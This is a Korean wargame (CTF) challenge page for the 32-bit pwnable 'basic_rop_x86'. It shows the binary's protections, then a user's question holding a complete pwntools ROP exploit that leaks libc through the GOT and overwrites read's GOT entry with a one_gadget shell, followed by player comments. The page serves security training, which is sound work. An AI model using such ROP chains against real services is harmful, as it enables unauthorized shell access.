LEVEL 2

basic_rop_x86

pwnable
  • 문제 정보
  • 풀이 112
  • 난이도 투표 50
  • 질문 24
  • 최근 풀이자 1358
  • 댓글 70

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Return Oriented Programming

문제 수정 내역

2023.04.27: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

c0nfu5e
워게임: 20
출제된 지 23시간 만에 풀이 완료!

난이도 투표 50

질문 24

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
one_gadget이용 풀이
from pwn import * context.log_level = 'debug' p = remote('host1.dreamhack.games', 21445) libc = ELF("./libc.so.6") e = ELF("./basic_rop_x86") read_got = e.got['read'] write_plt = e.plt['write'] read_plt = e.plt['read'] read_offset = libc.symbols['read'] pppr = 0x8048689 one_gadget_offset = 0x5f066 payload = '' payload += 'a'* 0x48 payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) p.sendline(payload) dummy = p.recv(0x40) read_addr = u32(p.recv(4)) #print hex(read_addr) libc_base = read_addr - read_offset one_gadget = libc_base + one_gadget_offset #print hex(one_gadget) p.sendline(p32(one_gadget)) p.interactive() $ one_gadget ./libc.so.6 0x3a80c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3a80e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3a812 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL one_gadget을 이용해셔 풀려고 했는데 문제에서 준 libc파일에서 나오는 one_gadget모두를 써보았으나 eof에러가 납니다. 혹시 exploit 중에 문제가 있는지 봐 주실 수 있나요?
avatar 마리마리

최근 풀이자 1358

Hyun2
대표 업적 없음
daeseong1209
대표 업적 없음
swoo0105
대표 업적 없음
인썰
대표 업적 없음
avatar
junan
공부벌레
avatar
mingw
Open Beta Tester
avatar
빵선
대표 업적 없음
lillilIlilill
대표 업적 없음
이석희
대표 업적 없음

댓글 70

daeseong1209
대표 업적 없음
매우 어지러운....
Dirstibone
워게임 풀이: 1
처음에 다른사람의 질문 글을 보며 참고해서 익스 코드를 짜려한게 오히려 발목이 되었습니다... 익스코드는 항상 다 풀고 다른 사람거 참고해보기...메모 x64에선 가젯을 불러와서 했던 방식과 비슷하게 x86에선 어떤식으로 인자를 불러올지에 대해 찾아 본 후 함수 호출 순서만 변경하니 해결되네요 재밌었습니다!
avatar
Captainjack
공부벌레
하아~~~ 일주일동안 혈투였다... 계속 삽질에 삽질을 거듭했지만 쉘 딴순간 너무 짜리했다 꿀잼 문제ㅋㅋㅋㅋㅋ
위유
강의 수강: 50
익스플로잇 코드가 제대로 동작하지 않는다면 Library 설정을 다시 확인해보세요. LD_LIBRARY_PATH가 제대로 적용되어 있는지, 이걸 .bashrc에 적용하지 않았는데 쉘을 새로 열어서 쓰고 있지는 않는지...
avatar
j1won
워게임 고인물
:)
avatar
스카이넷
강의 수강: 10
ez
avatar
buaii
워게임 고인물
어렵다 시스템해킹
avatar
santa6
대표 업적 없음
Linux Exploitation & Mitigation Part 2 (https://learn.dreamhack.io/3#11) 이 강의 보면서 32bit ROP 익히면 도움이 돼요
catpwn
대표 업적 없음
"32bit 함수호출규약과 64bit 함수호출규약의 차이점은 32bit에서는 인자들을 스택에 쌓아두고 호출하지만 64bit에서는 레지스터에 인자 값을 저장하고 레지스터를 모두 사용하면 스택에 저장하여 함수를 호출한다는 점에서 차이점이 있다" 이거 인터넷에서 읽고 바로 품....
avatar
KnightChaser
공부벌레
잉잉 코드 맞게 짜놓고 로컬에서 libc를 제대로 안 맞춰줘서 삽질 조금 함